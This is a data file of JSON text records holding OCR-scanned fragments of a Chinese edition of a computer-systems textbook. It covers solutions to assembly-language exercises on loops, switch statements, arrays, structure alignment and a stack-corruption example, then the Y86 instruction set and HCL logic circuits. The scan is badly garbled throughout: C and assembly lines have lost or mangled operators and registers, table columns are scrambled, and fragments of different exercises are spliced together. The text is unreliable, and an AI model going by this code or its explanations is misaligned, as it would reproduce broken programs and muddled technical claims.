    {"text": "0x 8 0 482 c 4 (nop 指令的地址）加上这个值得到地址0x80482a4 ： 80482bf: e9 e0 ff ff ff jmp 80482a4 * 80482c4: 90 nop 间接跳转用指令代码ff 25表示。"},
    {"text": "A.这里是C代码： 1 void goto_cond(int a, int *p) { 2 if (p == 0) 3 goto done; 4 if (a <= 0) 5 goto done; 6 *P += a; 7 done: 8 return; B.第一个条件分支是&&表达式实现的一部分。"},
    {"text": "— A.转换成这种替代的形式，只需要调换一下几行代码： int gotodiff_alt(int x, int y) -C 2 int result; 3 if (x < y) 4 goto true; 5 result = x - y 6 goto done; 7 true: 8 result = y -: 9 done: 10 return result; 11 >\nint val = x\"y; B.大多数情况下，可以在这两种方式中任意选择。"},
    {"text": "对于这种情况，我们只简单地将翻译规则修改如下： t = test-expr \\ if (!t) goto done; then-statement done: 基于这种替代规则的翻译更麻烦一些。"},
    {"text": "唯一的区别就是初始化表达式（C代码中的第2行）向 下移了（移到汇编代码中的第15行)，这样一来，只有当确定它就是返回值的时候，才会计算它。"},
    {"text": "1 int test(int x, int y) { if (x < -3) { A if (y < x) val = x*y; else val = x+y; > else if (x > 2) val = x-y; 我们可以看到，14!溢出了，因为数字停止了增大。"},
    {"text": "练习题 3.20编译循环产生的代码可能会很难分析，因为编译器对循环代码可以执行许多.不同的优化，也 因为可能很难把程序变量和寄存器匹配起来。"},
    {"text": "练习题 3.19 A.如果构建一张阶乘表，使用数据类型int来计算，得到下面这样的表： 1o return val; n n\\ OK? 1 1 Y 2 2 Y 3 6 Y 4 24 Y 5 120 Y 6 720 Y 7 5 040 Y 8 40 320 Y 9 362 880 Y 10 3 628 800 Y 11 39 916 800 Y 12 479 001 600 Y 13 1932 053 504 Y 14 1 278 945 280 N 寄存器使用 寄存器 变量 初始值 %eax X X %ecx y y %edx n n body-statement部分在C代码中由第3行到第5行组成 ， 在汇编代码中是第5行到第7行。"},
    {"text": "添加注释的代码如下： x at %ebp+a, y at %ebp+i2. n at %ebp+io 1 movl 8(%ebp), %eax Get x 2 movl 12(%ebp), %ecx Get y 3 movl 16(%ebp), %edx Get n A .L2: loop ： .5 addl %edx, %eax x n 6 imull %edx, %ecx y *= n 7 subl $1, %edx n —— B testl %edx, %edx Test n_ 9 jle .L5 If 0, goto done 10 cmpl %edx, %ecx Compare y:n n jl .L2 If <.. goto loop 12 .L5: done: 同练习题3.16中的代码一样，实现&&运算需要两个条件分支。"},
    {"text": "我们把它叫做apb,即a加上 b (a plus b) 0 下面是寄存器使用表： 寄存器 程序值 初始值 %ecx a a %ebx b b %eax result 1 %edx apb a-\\-b 添加注释的代码如下： Arguments: a at %ebp+S. b at Registers: a in Xecx, b ixi %ebx, result in Zeax, Xedx set to apb (a-^b) movl 8(%ebp), %ecx Get a 2 movl 12(%ebp), %ebx Get h 3 movl $1, %eax Set result = i A cmpl %ebx, °/ 0 ecx Compare a:b 5 jge .Lll If >~, goto done 6 leal (°/ 0 ebx,%ecx) , %edx Compute apb ~ a+b 7 movl $1， %eax Set result :- 1 8 .L12: loop: 9 imull %edx, %eax Compute result *= 10 addl $1, %ecx Compute a++ 11 addl $1, %edx Compute apb++ 12 cmpl %ecx, %ebx Compare b:a 13 jg .L12 If >, goto loop 14 • Lll: done: Return result\n等价的goto代码如下： 1 int loop_while_goto(int a, int b) { int result = 1; A if (a >= b) goto done ; /* apb has same value as a+b in original code */ int apb = a+b; loop ： result *= apb; io a++; '11 apb++; if (b > a) goto loop；"},
    {"text": "以下是原始的C代码： int fim_a(unsigned x) { int val = 0; while (x) { val x; x »= 1; > return val & 0x1; > B•这个代码计算参数x的奇偶性。 也就是，如果x中有奇数个1,就返回1,如果有偶数个1,就返回0。"},
    {"text": "for (i = 0; i < 32; i++) { val = :(val « 1) 1 (x & x »= ! 1 ； } return val; B•这段代码把x中的位反过来，创造一个镜像。 实现的方法是：将x的位从左往右移，然后再填入这 些位，就像是把val从右往左移。"},
    {"text": "使用我们的翻译规则会得到下面的代码： /氺 Naive translation of for loop into while loop */ /* WARNING: This is buggy code */ int sum = 0; int i 二 0; while (i < 10) { if Ci k 1) /* This will cause an infinite loop */ continue; sum += i; i ++；"},
    {"text": "通用的解决方法是用goto语句替代continue语句，它会跳过循环体中余下的部分，直接跳到 update 部分 ： /* Correct translation of for loop into while loop */ int sum = 0; int i = 0; while (i < 10) { if (i & 1) goto update; sum += i; update: ++；"},
    {"text": "以下是汇编代码添加注释的版本： Computation by function arith\nRegister: leal testl cmovns sari in 7«odx 3(%edx), %eax %edx, %edx %edx, °/ 0 eax $2, %eax temp - x+3 Test x If >- 0, temp = x Return temp » 2 (= x/4)\n程序创建了一个临时变量，等于 JC+3, 预期 jc 是负数 ， 因而需要偏置。"},
    {"text": "int test(int x, int y) { int val = 4*x; if (y > 0) -C A if (x < y) . val = x-y; else val = x\"y; > else if (y < -2) val = x+y; return val; 练习题 3.28这个练习给你一个机会，练习推算switch语句的控制流。"},
    {"text": "我们可以看到，跳转表中只有另一个标 号重复出现，就是.L4,因此它一定是情况C和D的代码。 代码在第14行落入下面的情况，因而标号.L6 符合情况A,标号.L3符合情况B,只剩下标号.L2,符合情况E。"},
    {"text": "1 int switcher (int a, int b, int c) A 6 7 9 0 1 2 3 A 5 6 7 9 20 21 int answer; switch(a) { case 5: c = b ^ 15; /* Fall through */ case 0: answer = c + 112; break; case 2: case 7: answer = (c + b) « 2; break; case 4: answer = a; /氺 equivalently, answer = 4 */ break; default: answer = b; > return answer; 这又是一个汇编代码习惯用法的例子。"},
    {"text": "解答这道题的关键在于，注意到 练习题 3.30\n将d存放在p处是由汇编代码第3行上的指令实现的，由此你可以反着推导出参数d和p的类型和位置。"},
    {"text": "栈帧的结构和内容如下：\n0x800060 0x53 0x46 0x800030 0x800038 0x800034 0x800030 0x800020 0x800028 0x800024 0x800020 0x800010 0x800018 0x800014 0x800038 0x800034 0x300070\n0x800020〜0x800033的字节地址没有使用。"},
    {"text": "汇编代码是由下面的C代码产生而来的： int rfun(unsigned x) { if (x == 0) return 0; unsigned nx = x»l; int rv = rfun(nx); return (x & 0x1) + rv; 同练习题3.49中的代码一样，这个函数计算参数x中位的和。"},
    {"text": "表达式 类型 值 汇编语句 S+l short * XQ + 2 leal 2 (%edx) ,%eax S[3] short M [A: S + 6] movw 6 (%edx), %ax &S[i] short * Xs + 2i leal (%edx,%ecx,2),%eax S[4*i+1] short M[jCg + Si + 2] movw 2(%edx,%ecx,8),%ax S+i-5 short * Xg + 2i 一 10 leal -10(%edx,%ecx,2),%eax 练习题 3.37这个练习要求你完成缩放操作，来确定地址的计算，并且应用行优先索引的公式（3-1)。"},
    {"text": "第 一步是注释汇编代码，来确定如何计算地址引用：\nGet j 8*i 8*2 \"-I 7*i+j 5*j 7*i matl[7*i+j] mat2[5*j+i] •! movl 8(%ebp), %ecx 2 movl 12(%ebp), %edx •i leal 0(,%ecx,8), %eax 4 subl %ecx, %eax 5 addl %edx, %eax 6 leal (%edx,%edx,4), %edx 7 addl %ecx, %edx 8 movl matl(,%eax,4), %eax 9 addl mat2(,%edx,4), %eax\n我们可以看出，对矩阵matl的引用是在字节偏移4(7i+j>的地方，而对矩阵mat2的引用是在字 节偏移 4 ( 5 j+i>的地方。"},
    {"text": "/* Set all diagonal elements to val 丰 / void fix_set_diag_opt(fix^matrix A, int int *Abase = &A [0] [0]; int index = 0; do { Abase[index] = val; index += (N+l); while (index != (N+1)*N); 这个函数引入了一个变量Abase, int*类型的，指向数组A的起始位置。"},
    {"text": "我们引入一个整数变量index,它一步一步 经过A的对角线，它有一个属性，那就是对角线元素/和/+1在序列中相隔个元素，而且一旦我们到 达对角线元素# (索引为我们就超出了边界。"},
    {"text": "A at %ebp+6?, val at %ebp+i2 1 movl 8(°/ 0 ebp) , %ecx Get Abase - &A[0][0] 2 movl 12(°/ 0 ebp) , °/ 0 edx Get val 3 movl $0, %eax Set index4 to 0 4 • L14: loop: 5 movl %edx, (°/ 0 ecx,7 0 eax) Set Abase[index4/4] to 6 addl $68, %eax index4 += 4(N+1) 7 cmpl $1088， %eax Compare index4:4N(M+l) 8 jne • L14 If , goto loop 练习题 3.39这个练习让你思考结构的布局，以及用来访问结构字段的代码。"},
    {"text": "我们依旧从给汇编代码加注释开始： sp at %ebp 1 movl 8(°/ 0 ebp), %eax Get sp 2 movl 8(%eax), Xedx Get sp->s.y 3 movl Xedx, 4(°/ 0 eax) Store in sp->s.x 4 leal 4(%eax), Xedx Compute &(sp~>s .x) 5 movl Xedx, (°/ 0 eax) Store in sp~>p 6 movl %eax, 12(°/ 0 eax) Store sp in sp—>next 由此可以产生如下C代码： void sp_init(struct prob *sp) { sp->s.x = sp->s.y; sp->p = &(sp->s.x); sp->next = sp; > 练习题 3.40结构和联合涉及的概念很简单，但是需要练习才能习惯不同的引用模式和它们的实现。 表达式 类型 代码 up->tl.s int movl 4(%eax) , %eax movl %eax, (%edx) up->tl.v short movw (%eax), %ax movw %ax, (Xedx) &up->tl.d % short * leal 2 (%eax), %eax movl %eax, (%edx)\n(续） 表达式 类型 代码 . up->t2. a up->t2•a[up->t1.s] *up->t2.p int * int char movl %eax, (%edx) movl 4(%eax), °/ 0 ecx ■ movl (7 0 eax,°/ 0 ecx,4) , %eax movl %eax, (%edx) movl 8(%eax), °/ 0 eax movb (°/ 0 eax), %al movb %al, (%edx) 练习题3.41想理解各种数据结构需要多少存储，以及编译器为访问这些结构产生的代码，理解结构的布 局和对齐是非常重要的。"},
    {"text": "struct PI { int i; char c; int j; char d; >; i c j d 总共 对齐 4 8 12 16 4 struct P2 { int i; char c; char d; int j; c j d 总共 对齐 0 4 5 8 12 4 struct P3 { short w[3] ; char c[3] >; w c总共 对齐 6 10 2 struct P4 { short w[3] ; char *c[3] >; w c总共 对齐 0 8 20 4 struct P3 { struct PI a [2] ; struct P2 *p }; a p 总共 对齐 0 32 36 4 练习题3.42这是个理解结构的布局和对齐的练习。"},
    {"text": "导 致声明如下： struct { double c; long long g; float e; char *a; void *h; 字段 C g e a h b d f 大小 8 8 4 4 4 2 1 1 偏移量 0 8 16 20 24 28 30 31 short char char foo; 偏移量如下，总共是32个字节 练习题 3.43这个问题覆盖的问题比较广泛，例如栈帧、字符串表示、ASCII码和字节顺序。"},
    {"text": "A.第7行后的栈： %ebp- 08 04 86 43 返回地址 bf ff fc 94 保存的 ％ebp 00 00 00 03 保存的 ％edi 00 00 00 02 保存的 ％esi 00 00 00 01 保存的 ％ebx but[4-7] but[0-3] B.第10行后的栈 %ebp - 08 04 86 00 33 32 31 30 39 38 37 36 35 34 33 32 31 30 39 38 37 36 35 34 33 32 31 30 返回地址 保存的％ebp 保存的％edi 保存的％esi 保存的％ebx but[4-7] but[0-3] 这个程序试图返回到地址0x080 48 600。"},
    {"text": "下列寄存器的保存值被改变了 ： 寄存器 值 %ebp %edi %esi %ebx 33323130 39383736 35343332 31303938 而且代码还应该检查返回值是否为 在getline返回之前，这些值将被加载到寄存器中。"},
    {"text": "练习题 3.46在过去30年间，每10年价格就下降51倍，能做到这一点是非常了不起的，它帮助解释了 为什么在我们的社会里计算机变得如此普遍。"},
    {"text": "src_t dest_t 指令 S D 解释 long long movq %rdi %rax 没转换 int long movslq %edi %rax 符号扩展 char long movsbq %dil %rax 符号扩展 unsigned int unsigned long movl %edi %eax 零扩展到 64 位 unsigned char unsigned long movzbq %dil %rax 零扩展到 64 位 unsigned char unsigned long movzbl %dil %eax 零扩展到 64 位 long int movslq %edi %rax 符号扩展到 64 位 long int movl °/,edi %eax 零扩展到 64 位 unsigned long unsigned movl 7oedi °/oeax 零扩展到 64 位 我们说明了 long到int的转换既可以使用movslq也可以使用movl，虽然一个是符号扩展高32 位，而另一个是做0扩展。"},
    {"text": "据此，我们可以确定函数arithprob的唯一原型是： long arithprob(int a, char b, long c, int d); 练习题 3.49这道题说明了计算一个字中1的位数的很聪明的方法。"},
    {"text": "A.这里是原始的C代码： long fun_c(unsigned long x) { long val = 0; int i; for (i = 0; i < 8; i++) { val += x & OxOlOlOlOlOlOlOlOlL; x »= 1; > > B. 对val val += (val » 32); val += (val » 16); val += (val » 8); return val & OxFF; 这个代码通过并行地计算8个单字节的和来对x中的位求和，使用了 val的所有8个字节。"},
    {"text": "练习题3.50我们可以一步一步地查看incrprob的代码，得到下面的内容： addl指令从第三个参数寄存器给出的位4处取出一个32位整数，把它加到第一个参数寄存器的32 位版本上。"},
    {"text": "可以看到，t 一定是一个指向有 符号或者无符号整数的指针，但是x可以是有符号的也可以是无符号的，它可以是32位的也可以是64位 的（因为当它加上*t时，代码会把它截断到32位)。"},
    {"text": "我们给 出了这4种不同的原型： void incrprob_s(int x, long *q, int *t); void incrprob一u(unsigned x, long *q, int *t); void incrprob_sl(long x, long *q, int *t); void incrprob.ul(unsigned long x, long *q, int *t); 练习题3.51这个函数是一个需要本地存储的叶子函数示例。"},
    {"text": "A.使用了的栈位置： m 栈指针 %rsp- i[3]\nB. x8t Ari I q* a* a* a* 1 a* lvvvvdvt aooooLnloe cmmmmalmr Store 2 Store 3 Store 5 Store 7 Compute Compute Return, -24 -32 -40 ementation of local_arrav in Xedi ray: $2, -40(°/,rsp) $3, -32(%rsp) $5, -24(°/ 0 rsp) $7, -16(%rsp) $3, %edi -40(%rsp,%rdi,8), %rax in a[0] in a[l] in a [2] in a [3] idx = i & 3 a [idx] as return value a[2] a[l]\nC.这个函数从来不会改变栈指针。"},
    {"text": "C. x86~.64 impl emen tat i on of recursive factorial function rfact :in Xrdi '! rfact: 2 pushq %rbx Save %rbx (callee save) 3 movq %rdi, %rbx Copy x to %rbx 4 movl $1, %eax result = 1 5 testq %rdi, %rdi Test x 6 jle .Lll If <~0, goto done 7 leaq -l(%rdi), °/ 0 rdi Compute xw.i •- x~:l 8 call rfact Call rfact(xml) 9 imulq %rbx, %rax Compute resul t x*rfact (xml) 10 .Lll: done: 1! popq %rbx Restore %rb:c 12 ret Return D.不显式地减少或者增加栈指针，相反，代码可以用pushq和popq来修改栈指针以及保存和恢复 寄存器状态。"},
    {"text": "struct PI { int i; char c; long j; char d; >; i c j d 总数 对齐 4 8 16 24 8 struct P2 { long i; char c; char d; int j ; >; c d j 总数 对齐 8 9 12 16 8 struct P3 { short w[3]; char c[3] }; w c总数 对齐 0 6 10 2 struct P4 { short w[3] ; char *c[3] >; w c总数 对齐 8 32 8 struct P3 { struct PI a [2] ; struct P2 *p >; a p 总数 对齐 48 56 8\n第4章| Computer Systems ： A Programmer ? s Perspective, 2E 处理器体系结构 现代微处理器可以称得上是人类创造的最复杂的系统之一。"},
    {"text": "另外，同一个家族里也有很多不同型号的处理器。 虽然每个厂商制造的处理 器性能和复杂性不断提高，但是不同的型号在ISA级别上都保持着兼容。 一些常见的处理器家 族（例如IA32)中的处理器分别由多个厂商提供。"},
    {"text": "为了使这个处理器保留Y86 ISA的顺序的性质, 就要求处理很多冒险 或冲突 （hazard)情况，冒险就是一条指令的位置或操作数依赖于其他仍在 流水线中的指令。"},
    {"text": "因此，虽然我们再次花费大部分精力创建系统的图形和文字描述，写软 件的时候也会花费同样的精力，但是这些设计能够自动地合成，这表明我们确实在创建一个能够 用硬件实现的系统。"},
    {"text": "%eax %esi %ecx '%edi %edx ‘ %esp %ebx %ebp RF：程序寄存器 Stat：程序状态 CC： 条件码 | ZF SF 0F DMEM：存储器 PC 图4-1 Y86程序员可见状态。"},
    {"text": "字节 ' rrmovl fA, rB irmovl V, rB rmmovl rA, D(rB) mrmovl D(rB), rA opi rA, rB jxx Dest cmovxx rA, rB call Dest ret pushl rA popl rA halt 丨 2 _丨 0 : . _ 1 |3. ；"},
    {"text": "o f rB V 4 o rA rB P |5 |o |rA|rB| D [6 |fnlrA[rBl | 7 |fn| Dest 2 fn rA rB 8 |0 | Dest Mo| A o rA F 图4-2 Y86指令集。"},
    {"text": "字段fn指明是某个整数 操作（0P1)、被据移动条件(cmovXX)或是分支条件(jXX)o所有的数值都用十六进制表示\n以下是不同Y86指令的更多细节。"},
    {"text": "整数操作 分支指令 传送指令 addl 6 0 jmp 7 0 jne 7 4 rrmovl 2 0 cmovne 2 4 subl 6 1 jle 7 1 jge 7 5 cmovle 2 1 cmovge 2 5 andl 6 2 jl 7 2 jg 7 6 cmovl 2 2 cmovg 2 6 xorl 6 3 je 7 3 cmove 2 3 图 4-3 Y86 指令集的功能码。"},
    {"text": "数字 寄存器名字 0 %eax 1 %ecx 2 %edx 3 %ebx 4 %esp 5 %ebp 6 %esi 7 %edi F 无寄存器 图4-4 Y86程序寄存器标识符(8 个寄存器都有相应0〜7的 标识符（ID)。"},
    {"text": "那些只需要一个寄 存器操作数的指令（irmovl、pushl和popl)将另一个寄存器. 指示符设为0xF o 这种约定在我们的处理器实现中非常有用。"},
    {"text": "注意，分支指令和调用指令的目•的地址是一个绝对地址，而不 是像IA32中那样使用PC (程序计数器）相对寻址方式。 处 理器使用PC相对寻址方式，分支指令的编码会更简洁，同时 这样也能允许代码从存储器的一部分复制到另一部分，而不需 要更新所有的分支目标地址。"},
    {"text": ".pos 0x100 # Start code at address 0x100 irmovl $15,%ebx # Load 15 into %ebx rrmovl 0 / 0 ebx, %ecx # Copy 15 to %ecx loop: # loop: rmmovl %ecx,-3(%ebx) # Save %ecx at address 15-3 = 12 addl %ebx,%ecx # Increment %ecx by 15 jmp loop # Goto loop 练习题4.2确定下列每个字节序列所编码的Y86指令序列。"},
    {"text": "0x100:30f3fcffffff40630008000000 0x200:a06f80080200000030f30a00000090 0x300:50540700000010fObOlf 0x400:6113730004000000 0x500:6362a0f0 比较 IA32 和 Y86 的指令编码 同IA32中的指令编码相比，Y86的编码简单得多，但是没那么紧凑。"},
    {"text": "RISC 和 CISC 指令集 IA32有时称为“复杂指令集计算机”（CISC——读作“sisk”)，与“精简指令集计算机” (RISC一一■读作“risk”）相对。"},
    {"text": "到 20世纪80年代早期，随着机器设计者加入了很多新指令来支持高级任务（例如处理循环缓冲 区，执行十进制数计算，以及求多项式的值），大型机和小型机的指令集已经变得非常庞大了。"},
    {"text": "包括将一个整块从存储器的一 个部分复制到另一部分的指令，以及其他一些将多个寄 存器的值复制到存储器或从存储器复制到多个寄存器的 指令。"},
    {"text": "RISC的支持者声称在给定硬件数量的情况下，通过结合简约式指令集设计、高级编译 器技术和流水线化的处理器实现，他们能够得到更强的计算能力。"},
    {"text": "由于集成电路 技术的进步，Intel和其他x86处理器制造商能够克服原来8086指令集设计造成的低效率，使用 RISC技术产生出与最好的RISC机器相当的性能。"},
    {"text": "代码3,命名为ADR,表示处理器试图从一个非法存储器地址读或者向一个非法存储器地址写， 可能是当取指令的时候，也可能是当读或者写数据的时候。"},
    {"text": "值 名字 含义 1 AOK 正常操作 2 HLT 处理器执行halt指令 3 ADR 遇到非法地址 4 INS 遇到非法指令 图4-5 Y86状态码（在我们的设计中，任何AOK以外的代码都会使处理器停止） 对于Y86,当遇到这些异常的时候，我们就简单地让处理器停止执行指令。"},
    {"text": "就像在第8章中讲述的，异常处理程序可以被配置成不同的结果,例如，放弃 程序或者调用一个用户自定义的信号处理程序（signalhandler)o Y86 程序 图4-6是下面这个C函数的IA32和Y86汇编代码： int Sum(int *Start, int Count) { int sum = 0; while (Count) { sum += *Start; Start++; Count__; > return sum; }\nY86 code IA32 code\necx - Start edx ~ Count sum = 0 Set condition codes add *Start to sum Starts Count. Stop when 0 get *Start add to sum St art++ Count -- Stop when 0 12 13 14 . 17 int Sum(int ^Slart, int Count) Sum: pushl %ebp movl %esp,%ebp movl 8(%ebp) ,%ecx ecx Start movl 12(%ebp) ,%« dx .= . Count xorl %eax,%eax sum 二 0 testl %edx,%edx je .L34 • L35: addl (%ecx),%eax addl $4,%ecx -decl %edx jnz .L35 .L34: movl %ebp,%esp popl °/ 0 ebp ret int Sum(int *Start, int Count) ； 1 Sum : pushl %ebp rrmovl %esp,%ebp mrmovl 8(%ebp),%ecx mrmovl 12(%ebp),%edx xorl %eax，％eax andl %edx, °/ 0 edx je End Loop : 10 mrmovl (%ecx),%esi addl %esi,°/ 0 eax irmovl $4,%ebx addl %ebx,%ecx irmovl $-l,%ebx addl %ebx，%edx jne Loop End: rrmovl %ebp,%esp popl %ebp 20 ret\n图4-6 Y86汇编程序与IA32汇编程序的比较。"},
    {"text": "Y86代码与IA32 代码的主要区别在于，它可能需要多条指令来执行一条I人32指令所完成的功能 这段IA32代码是GCC编译器产生的。 Y86代码实质上是一样的，只不过Y86有时需要两 条指令来完成IA32—条指令就能完成的事情。"},
    {"text": "1 # Execution begins at address 0 2 .pos 0 3 init: irmovl Stack, °/ 0 esp # Set up stack pointer 4 irmovl Stack, 7 0 ebp # Set up base pointer .5 call Main # Execute main program 6 7 halt # Terminate program / 8 # Array of 4 elements 9 .align 4 10 array: .long Oxd 11 .long OxcO 12 .long OxbOO 13 .long OxaOOO 14 15 Main: pushl %ebp 16 rrmovl %esp,%ebp 17 irmovl $4,%eax 18 pushl %eax # Push 4 19 irmovl array, °/ 0 edx 20 pushl %edx # Push array 21 call Sum # Sum(array, 4) 22 rrmovl %ebp,%esp 23 popl %ebp 24 ret 25 26 # int Sum(int *Start, int Count) 27 Sum: piishl %ebp 28 rrmovl %esp,%ebp 29 mrmovl 8 (%ebp) , °/ 0 ecx # ecx = Start 30 mrmovl 12(%ebp),%edx # edx = Count 31 xorl %eax,%eax # sum = 0 32 andl %edx,%edx # Set condition codes 33 je End B4 Loop: mrmovl (%ecx),%esi # get *Start 35 addl %esi,%eax # add to sum 36 irmovl $4,%ebx # 37 addi %ebx,%ecx # Start++ 38 irmovl $-l,%ebx # 39 addl %ebx,%edx # Count 一 - 40 jne Loop # Stop when 0 '41 End: rrmovl %ebp, °/ 0 esp 42 popl %ebp 43 ret 44 45 # The stack starts here and grows to lower addresses 46 .pos 0x100 .47 Stack: 图冬7用Y86汇编代码编写的一个例子程序。"},
    {"text": "# Execution begins at address 0 0x000: .pos 0 0x000: 30f400010000 init: irmovl Stack, %esp # Set up stack pointer 0x006: 30f500010000 irmovl Stack, %ebp # Set up base pointer 0x00c: 8024000000 call Main # Execute main program 0x011: 00 halt # Terminate program # Array of 4 elements 0x014: .align 4 0x014: OdOOOOOO array: .long Oxd 0x018: C0000000 .long OxeO 0x01c: OOObOOOO .long OxbOO 0x020: OOaOOOOO .long OxaOOO 0x024: a05f Main: pushl %ebp 0x026: 2045 rrmovl °/ 0 esp, %ebp 0x028: 30f004000000 irmovl $4,%eax 0x02e: aOOf pushl %eax # Push 4 0x030: 30f214000000 irmovl array,%edx 0x036: a02f pushl %edx # Push array 0x038: 8042000000 call Sum .# Sum(array, 4) 0x03d: 2054 rrmovl %ebp,%esp 0x03f: b05f popl %ebp 0x041: 90 ret # int Sum(int *Starb, int Count) 0x042: a05f Sum: pushl %ebp 0x044: 2045 rrmovl %esp,%ebp 0x046: 501508000000 mrmovl 8(%ebp),%ecx # ecx = Start • 0x04c: 50250c000000 mrmovl 12(%ebp),%edx # edx = Count 0x052: 6300 xorl %eax,%eax # sum = 0 0x054: 6222 andl %edx,%edx # Set condition codes 0x056: 7378000000 je End 0x05b: 506100000000 Loop: mrmovl (%ecx),%esi # get *Start 0x061: 6060 addl %esi,%eax # add to sum 0x063 : 30f304000000 irmovl $4,%ebx # 0x069: 6031 addl %ebx,%ecx # Start++ 0x06b : 30f3ffffffff irmovl $-l,%ebx # 0x071: 6032 addl %ebx,%edx # Count -- 0x073: 745b000000 jne Loop . # Stop when 0 0x078: 2054 End: rrmovl %ebp,%esp 0x07a: b05f popl %ebp 0x07c: 90 ret # The stack starts here and grows to lower addresses 0x100: .pos 0x100 0x100: Stack: 图4-8 YAS汇编器的输出。"},
    {"text": "每一行包含一个十六进制的地址，以及字节数在1〜6之间的目标代码 我们实现了 一个指令集模 拟器，称为YIS,它的目的是模拟Y86机器代码程序的执行，而 不用试图去模拟任何具体处理器实现的行为。"},
    {"text": "用YIS运行例子的目标代码，产 生下面这样的输出：\nStoppe< Changes %eax: %ecx: %ebx: in 52 steps at to registers: 0x00000000 0x00000000 0x00000000 PC = 0x11. Status 'HLT', CC Z=1 S=0 0=0 OxOOOOabcd 0x00000024 Oxffffffff\n0x00000000 0x00000000 0x00000000 0x00000100 0x00000100 OxOOOOaOOO p p i s b s e e e % % % Changes to memory: 0x00e8: 0x00000000 0x000000f8 OxOOec: 0x00000000 0x0000003d OxOOfO: 0x00000000 0x00000014 0x00f4: 0x00000000 0x00000004 0x00f8: 0x00000000 0x00000100 OxOOfc: 0x00000000 0x00000011 模拟输出的第一行总结了执行以及PC和程序状态的结果值。"},
    {"text": "麵 练习题4.3根据下面的C代码，用Y86代码来实现一个递归求和函数rSum ： int rSum(int *Start , int Count) { if (Count <= 0) return 0; return *Start + rSum(Start+l , Count-1); > 在一台IA32机器上编译这段C代码，然后再把那些指令翻译成Y86的指令 ， 这样做可能会很有帮助。"},
    {"text": "下面是我们写的一个测^^程序 (网络旁注ASM: EASM,描绘任何写C代码和手写汇编代码结合的程序）： . . teXt ' . 1 • .... ： r. i ■« .globl pushtest ’、 pushtest : pushl %ebp movl %esp, %ebp movl %esp, %eax Copy stack pointer pushl %esp Push stack pointer popl °/ 0 edx Pop it back subl °/ 0 edx,%eax -Subtract uev ；"},
    {"text": "练习题4.7下面这个汇编函数让我们确定IA32上指令popl%esp的行为 ： 1 .text .2 .globl poptest poptest: A pushl %ebp movl °/ 0 esp, %ebp Push test value Pop to stack pointer Set popped va'lue as return value Restore stack and frame pointers pushl $0xabcd popl %esp B movl %esp, %eax leave ]0 ret 我们发现函数总是返回Oxabcd。"},
    {"text": "” 从Intel关于POP指令的文档[29]的节选中，可以学到几个关于这个一致的重要性的有用教训： 对于IA-32处理器 ， 从Intel 286开始,PUSH ESP指令将ESP寄存器的值压入桟中 ， 就像它存在于这条指令被执行之前。"},
    {"text": "要实现一 个数字系统需要三个主要的组成部分：计算对位进行操作的函数的组合逻辑、存储位的存储器元 素，以及控制存储器元素更新的时钟信号。"},
    {"text": "现在，大多数设计都是用硬件描述语言 （Hardware Description Language, HDL) 来表达的。 HDL 是一种文本表示，看上去和编程语言类似，但是它是用来描述硬件结构 而不是程序行为的。"},
    {"text": "我们已经开发出了将 HCL 直接翻译成 Verilog 的工具，将这个代码与基本硬件单元的 Verilog 代码结合起来，就能产 生 HDL 描述，根据这个 HDL 描述就可以合成实际能够工作的微处理器。"},
    {"text": "图4-9是布尔函数AND、OR和NOT的标准符号，C语言中运算符（2*1.9节)的逻辑门下面是 对应的HCL表达式：AND用&&表示，OR用||表示，而NOT用！"},
    {"text": "每个门产生的输出等于它输入的某个布尔函数 4.2.2组合电路和HCL布尔表达式 将很多的逻辑门组合成一个网，就能构建计算块（computational block),称为组 合电路 (combinational circuits) 0 构建这些网有两条限制： •两个或多个逻辑门的输出不能连接在一起。"},
    {"text": "当输入都为0或都为1时， 输出等于1 bool eq = (a && b) II (!a && !b); 这段代码简单地定义了位级（数据类型bool表明了这一点） 信号eq,它是输入a和b的函数。"},
    {"text": "多路复用器根据输人控制信号的值 ， 从一组不同的数据信号中选出一个。 在这个单个 位的多路复用器中，两个数据信号是输入位a和b,控制信号是输入位s。"},
    {"text": "接下来，我们来写输出信号 的HCL表达式 ， 使用的就是组合逻辑中相同的操作 ： 图4-11单个位的多路复用器电路。 如果 控制信号s为1，则输出等于输人 a;当s为0时，输出等于输入b bool out = (s && a) 丨丨 (!s && b); HCL表达式很清楚地表明了组合逻辑电路和C语言 中逻辑表达式的对应之处。"},
    {"text": "情况表达式的通用 格式如下：\nselect-1 select Jl exprA exprJl\nselect Jc exprJc 这个表达式包含一系列情况，每种情况f都有一个布尔表达式叫和一个整数表达式exrpr,.，前 者表明什么时候该选择这种情况，后者指明的是得到的值。"},
    {"text": "例如，图4-13中的字级多路 复用器用HCL来描述就是： int Out =[ 在这段代码中，第二个选择表达式就是1,表明如果前面没有情况被选中，那就选择这种情 况。"},
    {"text": "要将一个 HCL情况表达式翻译成硬件，逻辑合成程序需要分析选择表达式集合，并解决任何可能的冲突， 确保只有第一个满足的情况才会被选中。"},
    {"text": "这个电路 根据控制信号si和sO,从4个输人字A、B、C和D中选择一个，将控制信号看作一个两位的 二进制数。 我们可以用HCL来表示这个电路，用布尔表达式描述控制位模式的不同组合：\nA B C D o 1 o 1 0 0 1-1 ■ Out 4 int Out4 =[ !sl && !sO !sl !sO\n四路复用器。"},
    {"text": "控制信 号si和sO的不同组 合决定了哪个数据输 入会被传送到输出 右边的注释（任何以#开头到行尾结束的文字都是注释）表图4-14 明了 si和sO的什么组合会导致该种情况会被选中。"},
    {"text": "来看最后一tW子，假设我们想设计一^辑电路来找一组字A、B和C中的最/JMI,如下图所示 G | 嘗 ^ B %XN3 A -Min3 用HCL来表达就是 int Min3 A < = B && A < = C B < = A && B < = C 1 _练习题4.10写一个电路的HCL代码，对于输入字A、B和C,选择中间值。"},
    {"text": "这个电路有三个输入：标号为A和B的两个数据输人，以及一个控制输入。 根据控制输 入的设置，电路会对数据输人执行不同的算术或逻辑操作。"},
    {"text": "根据函数输入的设置，该电路会执行四种算术和逻辑运算中的一种\n4.2.4集合关系 在处理器设计中，很多时候都需要将一个信号与许多可能匹配的信号做比较，以此来检测正 在处理的某个指令代码是否属于某一类指令代码。"},
    {"text": "下面来看一个简单的例子，假设想从一个两位 信号code中选择高位和低位,来为图4-14中的四路复用器产生信号si和sO,如下图所示： 在这个电路中，两位的信号code就可以用来控制对4个数据字A、B、C和D做选择。"},
